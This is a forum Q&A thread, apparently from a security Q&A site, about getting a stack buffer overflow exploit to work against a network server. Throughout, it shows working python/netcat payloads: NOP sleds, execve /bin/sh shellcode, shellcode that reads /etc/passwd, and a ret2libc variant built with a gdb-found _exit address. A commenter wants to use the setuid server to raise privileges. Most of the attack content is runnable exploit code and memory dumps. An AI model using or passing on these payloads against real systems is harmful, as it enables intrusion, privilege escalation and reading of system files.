I have a server (for reference: pastebin.com/ghJX69uH) that I can netcat to and it will ask to input a message.

I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I have successfully pointed the return address back to the NOP slide and it hits the /bin/sh but it does not spawn a shell. Here is my code:

echo "`python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"'`" | nc 1111

It's a simple buffer overflow with [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

The first image shows that the return address is 0xbffef3ac which goes to NOP sled, so all is OK! The second image shows a SIGSEGV with no shell, nothing happens.

enter image description here enter image description here

What's going on here? I had a look at ebp and it showed something weird: my \x90 followed by what should be my shellcode, but looking differently. Any insights on what could be wrong or how to go about this?

0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f
0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac
0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac
0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000

Edit: Format of code is from numberphile, shellcode is from http://shell-storm.org/shellcode/files/shellcode-827.php, which I ran and spawns a shell. I tried adding padding (I put A's) between shellcode and return address, but something strange happens again:

New code: echo "`python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"'`" | nc 1129

0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000

Edit: So i managed to successfully print all of the etc/passwd, but not sure why the /bin/sh shellcode doesnt work

Works: /etc/passwd

echo "`python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"'`" | nc 2010

Doesnt't work: /bin/sh

echo "`python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"'`" | nc 3003

We have two major stack protection for buffer overflows:

  • Stack canaries
  • Non-executable stack

You land on nopsled but, you get segmentation fault. Because your operating system marked program stack as non-executable and processor raises the exception when program counter addresses that segment. But, even we use executable stack (for GCC use -z execstack) your program crashes:

Arithmetic exception

I changed shellcode to read /etc/passwd, it works until another SIGSEGV. It is not relevant why your previous shellcode doesn't work, it is a practical problem.

/etc/passwd shellcode works

For another scenario:

How can we get around non-executable stack? The most common way is a method called ret2libc (return to libc) using system(const char *). But, we will use _exit(int) for simplicity. For our new attack, I compiled it with non-executable stack option and send the same stream.

$ nc localhost 1337 < exp.loit

Let's look our stack:


We can't understand which part of your input overflows where and we need that to pass the argument(s). I tried a little to find which goes where:

python -c 'print "\x90"*65482 + "\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  + "\x90"*12 + "\xac\xf3\xfe\xbf" +"\x00\x11\x22\x33"*2 + "\n"' > exp.loit

We get:

Stack for new input

We just need _exit address

gdb-peda$ p &_exit
$1 = (<text variable, no debug info> *) 0xb7ec6f24 <_exit>

Now we are ready to execute our exploit:

python -c 'print "\x90"*65482 + "\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  + "\x90"*12 + "\x24\x6f\xec\xb7" +"\x01\x00\x00\x00"*2 + "\n"' > exp.loit

Final exploit

Basically ret2libc is that.

| improve this answer | |
  • Thanks for the writeup! While i experiment with this retlibc, could you share what you used for "read /etc/passwd". I replaced my shellcode with that and redid the NOP sled, but still not able to get any result, strangely. Did you use a different format for your shellcode? – user153882 Mar 21 '17 at 0:12
  • Oh, nvm, I had to view it from gdb using > echo "python -c 'print "\x90"*65482 + "\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80" + "\xac\xf3\xfe\xbf"*10 + "\n"'" | nc 1111` – user153882 Mar 21 '17 at 0:29
  • I need to be able to this with the given server which has privleges to setuid raise group privleges. Is there not a way to run it via the first way? If you are able to execute /etc/passwd, surely the no exec stack isnt working and it is possible to run other commands ? – user153882 Mar 21 '17 at 2:07
  • Try to use python -c 'print "xxxxx" | cat | nc localhost 1337 with working shellcode. – de6f Mar 21 '17 at 7:39
  • No success with that either, however, I've been told that for each connection a fork happens, and that a simple solution is to patch the fork instruction and make it single threaded. I can follow gdb set follow-fork-mode child to follow the process. Anything else you can make from that hint? – user153882 Mar 21 '17 at 16:17

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.